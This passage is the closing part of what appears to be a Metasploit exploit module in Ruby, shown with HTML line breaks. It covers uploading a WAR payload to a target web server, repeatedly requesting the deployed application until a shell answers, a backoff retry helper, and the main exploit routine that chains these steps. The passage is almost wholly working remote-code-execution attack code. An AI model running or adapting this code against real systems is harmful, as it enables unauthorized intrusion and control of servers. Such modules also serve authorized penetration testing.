200<br /> print_good('Payload uploaded successfully')<br /> else<br /> fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')<br /> end<br /> end<br /><br /> def execute_payload(app_name)<br /> res = nil<br /> print_status('Executing payload... ')<br /> retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do<br /> print_status('Waiting for shell... ')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, app_name),<br /> 'method' => 'GET'<br /> )<br /> if res && res.code == 200<br /> break<br /> else<br /> next<br /> end<br /> end<br /><br /> if res && res.code == 200<br /> print_good('Payload executed successfully')<br /> else<br /> fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')<br /> end<br /> end<br /><br /> # Retry the block until it returns a truthy value. Each iteration attempt will<br /> # be performed with expoential backoff. If the timeout period surpasses, false is returned.<br /> def retry_until_true(timeout:)<br /> start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)<br /> ending_time = start_time + timeout<br /> retry_count = 0<br /> while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time<br /> result = yield<br /> return result if result<br /><br /> retry_count += 1<br /> remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)<br /> break if remaining_time_budget <= 0<br /><br /> delay = 2**retry_count<br /> if delay >= remaining_time_budget<br /> delay = remaining_time_budget<br /> vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")<br /> else<br /> vprint_status("Sleeping for #{delay} seconds before attempting again")<br /> end<br /><br /> sleep delay<br /> end<br /> end<br /><br /> def exploit<br /> app_name = Rex::Text.rand_text_alpha(4..7)<br /> data = prepare_payload(app_name)<br /> upload_payload(data)<br /> execute_payload(app_name)<br /> end<br /><br />end<br /></code></pre>